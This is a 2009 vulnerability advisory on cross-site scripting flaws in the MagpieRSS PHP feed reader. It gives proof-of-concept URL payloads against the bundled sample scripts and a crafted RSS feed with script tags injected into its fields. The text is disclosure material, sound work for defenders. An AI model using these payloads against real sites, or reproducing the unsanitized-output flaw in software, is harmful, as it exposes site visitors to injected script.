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- -= MagpieRSS Multiple XSS Vulnerabilities =-
May 6, 2009
Author: Justin C. Klein Keane <justin_at_madirish.net>
Software: MagpieRSS (http://magpierss.sourceforge.net/)
Version Tested: magpierss-0.72
Vendor notified
Full details can also be found at
http://lampsecurity.org/magpierss-vulnerability
MagpieRSS (http://magpierss.sourceforge.net/) is a PHP based RSS reader.
"MagpieRSS is compatible with RSS 0.9 through RSS 1.0. Also parses RSS
1.0's modules, RSS 2.0, and Atom. (with a few exceptions)." Magpie
suffers from multiple cross site scripting (XSS) vulnerabilities. The
first class of vulnerability is due to the failure to sanitize URL
variables in scripts included with the MagpieRSS distribution.
Specifically the $url variable is crafted from $_GET['url'] and used in
display to users in:
magpierss-0.72/scripts/magpie_simple.php
magpierss-0.72/scripts/magpie_debug.php
The file magpierss-0.72/scripts/magpie_slashbox.php uses the same $url
variable, but cast from $_GET['rss_url'].
The second class of XSS results from MagpieRSS' failure to sanitize any
of the RSS feeds it draws using magpierss-0.72/rss_fetch.inc. This
could result in cross site scripting vulnerabilities being injected by
malicious RSS feeds.
- -=Proof of concept=-
The following links can be used to trigger XSS in Magpie's sample scripts:
http://192.168.0.2site/magpierss-0.72/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script
http://192.168.0.2/magpierss-0.72/scripts/magpie_simple.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script
The following malicious RSS feed can be used to exploit Magpie's RSS
rendering:
<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="http://justin.madirish.net"
xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Justin.MadIrish.net <script>alert('xss title');</script>-
Justin s Personal Homepage</title>
<link>http://justin.madirish.net</link>
<description>Close personal friends with Evil Eve.</description>
<language>en</language>
<item>
<title>Disturbing<script>alert('xss title');</script>
XSS<script>alert('xss title');</script></title>
<link>http://justin.madirish.net/node/343 <script>alert('xss
link');</script></link>
<description>foobar</description>
<pubDate>Wed, 04 Mar 2009 13:42:09 +0000</pubDate>
<dc:creator>justin</dc:creator>
<guid isPermaLink="false">343 at http://justin.madirish.net</guid>
</item>
</channel>
</rss>
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Justin C. Klein Keane
http://www.MadIrish.net
http://www.LAMPSecurity.org
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